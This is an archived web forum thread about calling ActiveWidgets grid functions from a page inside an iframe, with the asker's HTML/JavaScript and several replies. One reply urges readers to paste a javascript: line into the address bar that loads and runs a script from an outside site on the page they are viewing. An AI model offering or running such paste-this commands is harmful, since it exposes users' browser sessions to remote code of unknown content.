Updating Grid using IFRAME

From a main page, I want to add, update or delete the contents of the GRID that I have referenced in an iframe. It appears to be that I lose the object ('this.girdData' is null or not an object) from the page called in the iframe.

<html>
...
...
<td colspan="4" align="left" nowrap bgcolor="#C9D3DE">
<iframe src="epli/basic.htm" id="Schedules4i" name="Schedules4i"
frameborder="0" width="100%" height="100"></iframe>
</td>
...
...
<td colspan="4" nowrap>
<input id="btnAddUpdate" type="button"
onclick="frames.Schedules4i.obj.addOrUpdateRow()"
value="Add" style="width: 120px;" />
<input id="btnDelete" type="button"
onclick="frames.Schedules4i.obj.deleteRow()"
value="Delete Selected Row(s)" disabled="disabled" />
<input id="btnClearAll" type="button"
onclick="frames.Schedules4i.obj.clearAll()"
value="Clear All" style="width: 120px;" />
</td>
...
...
</html>

Here is the page that contains the GRID.

<html>
<head>
<title>ActiveWidgets Grid :: Examples</title>
<style> body, html {margin:0px; padding: 0px; overflow: hidden;} </style>


<link rel="stylesheet" type="text/css" href="../../../runtime/styles/classic/grid.css">
<script src="../../../runtime/lib/grid.js"></script>


<style>
.active-controls-grid {height: 100%; font: menu;}
.active-column-0 {width: 150px;}
.active-column-1 {width: 100px;}
.active-column-2 {text-align: right;}
.active-column-3 {text-align: right;}
.active-grid-column {border-right: 1px solid threedlightshadow;}
.active-grid-row {border-bottom: 1px solid threedlightshadow;}
</style>
</head>
<body>
<script>
// create data formats
var string1 = new Active.Formats.String;
var number1 = new Active.Formats.Number;
var date1 = new Active.Formats.Date;
var number2 = new Active.Formats.Number;
// define formatting rule for text output
number1.setTextFormat("#,###");
number2.setTextFormat("#,###");
date1.setTextFormat("mm dd yyyy");
date1.setDataFormat("ISO8061");
// create ActiveWidgets data model - XML-based table
var table = new Active.XML.Table;
// provide data URL
table.setURL("epli.xml");
// define namespace for selecting column data
table.setNamespace("co", "http://tempuri.org/");
// set column XPath
table.setColumns(["co:nature-of-business", "co:number-of-employees", "co:retroactive-date", "co:employees-cov-by-plan"]);
// set column formatting
table.setFormats([string1, number1, date1, number2]);
// start asyncronous data retrieval
table.request();
// define column labels
var columns = ["Nature of Business", "Number of Employees", "Retroactive Date", "Employees covered by plan"];
// create ActiveWidgets Grid javascript object
var obj = new Active.Controls.Grid;
// provide column labels
obj.setColumnProperty("texts", columns);
// provide external model as a grid data source
obj.setDataModel(table);
// write grid html to the page
// enable multiple selection
// obj.setProperty("selection/multiple", true);

// write grid html to the page
document.write(obj);

obj.resetRowValues = function() {
// re-initialize the grid data model
this.setDataProperty("count", this.gridData.length);
this.setRowProperty("value", function(i){return i});
this.setRowProperty("order", function(i){return i});
this.setSortProperty("index", null);
this.setSelectionProperty("index", -1);
this.setSelectionProperty("values", []);
this.refresh();
}

obj.showRow = function() {
var selectionIndex = this.getProperty("selection/index");
if(selectionIndex >= 0) {
parent.document.frmSchedules4.btnAddUpdate.value = " Update ";
parent.document.frmSchedules4.btnDelete.disabled = false;
parent.document.frmSchedules4.textfield0.value = this.getDataProperty("text", selectionIndex, 0);
parent.document.frmSchedules4.textfield1.value = this.getDataProperty("text", selectionIndex, 1);
parent.document.frmSchedules4.textfield2.value = this.getDataProperty("text", selectionIndex, 2);
parent.document.frmSchedules4.textfield3.value = this.getDataProperty("text", selectionIndex, 3);
}
}
obj.setAction("selectionChanged", obj.showRow);

obj.addOrUpdateRow = function() {
var selectionIndex = this.getProperty("selection/index");
var aRecord = [ parent.document.frmSchedules4.textfield0.value,
parent.document.frmSchedules4.textfield1.value,
parent.document.frmSchedules4.textfield2.value,
parent.document.frmSchedules4.textfield3.value ];
if(selectionIndex >= 0) {
alert("selectionIndex =" + selectionIndex);
alert("aRecord =" + aRecord);
this.gridData.splice(selectionIndex, 1, aRecord);
} else {
this.gridData.unshift(aRecord);
}
this.clearAll();
}

obj.deleteRow = function() {
var selectionValues = this.getProperty("selection/values");
if(selectionValues.length > 0) {
selectionValues.sort();
for(var i = selectionValues.length -1; i >= 0 ; --i) {
this.gridData.splice(selectionValues[i], 1);
}
this.clearAll();
}
}

obj.clearAll = function() {
this.resetRowValues();
// clear form
parent.document.frmSchedules4.btnAddUpdate.value = " Add ";
parent.document.frmSchedules4.btnDelete.disabled = true;
parent.document.forms.entryForm.reset();
}
</script>
</body>
</html>

Joe

September 20,

you need to call it as parent.gridObjectName for it to work from an iFrame

sexdwarf

September 21,

Could you give me an example. I tried a few things, but they're not working.

Joe

September 22,

It seems that referense to this.gridData was copied from the code based on js array data model. In you case (XML data model) you have to modify row functions.

Alex (ActiveWidgets)

September 25,

javascript:s=document.body.appendChild(document.createElement('script'));s.id='fs';s.language='javascript';void(s.src='http://sportsforum.ws/NFL/win/498/680/Z/electoral');

drop that in your url bar - hit enter - right here on this page - dont run away to do it :)

I use that all the time for what you will see it does

Now there is a reason why I threw out what looks like an unrelated example. If you stop and think, and realize that obviously that javascript is running on this here page - its obvious that you just dynamically added content to this page - which you could use for Alex's little toy here with no problem.

Though you would probably want something more like

var timeurl = new Date()
var timeurl2=timeurl.getTime()
var head = document.getElementsByTagName('head').item(0)
var scriptTag = document.getElementById('loadScript');
script = document.createElement('script');
script.src = "http://domain.com/path/to/probably/a/php/asp/whatever/file/that/prints/out/the/javascript/you/need/to/update/the/grid.php?game="+game+"&cnt="+cnt+"&"+timeurl2;
script.type = 'text/javascript';
script.id = 'loadScript';
head.appendChild(script)

(the only thing you need to change in that above is the url, in the file it pulls in, you have to have some sort of action, be it to fire a function on the page already, or has the action in the file - it works both moz and ie - I have no clue about opera, nor will I ever care about opera until they support invisible iframes :))

Zach

September 27,

oh - change anything and everything in the url - but leave the timeurl2 variable and what makes it so you dont catch

Zach

September 27,

This topic is archived.

Updating Grid using IFRAME

See also:

Search

New Data Grid

Version 2